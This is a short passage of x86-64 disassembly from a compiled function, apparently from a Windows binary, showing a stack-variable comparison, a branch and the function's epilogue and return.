movq rax, xmm0
mov qword [rbp + 0x610], rax
cmp dword [rbp + 0x7b4], 0xe2
jle 0x140002944
mov eax, 0
movups xmm6, xmmword [rbp + 0x810]
add rsp, 0x8a8
pop rbx
pop rsi
pop rdi
pop rbp
ret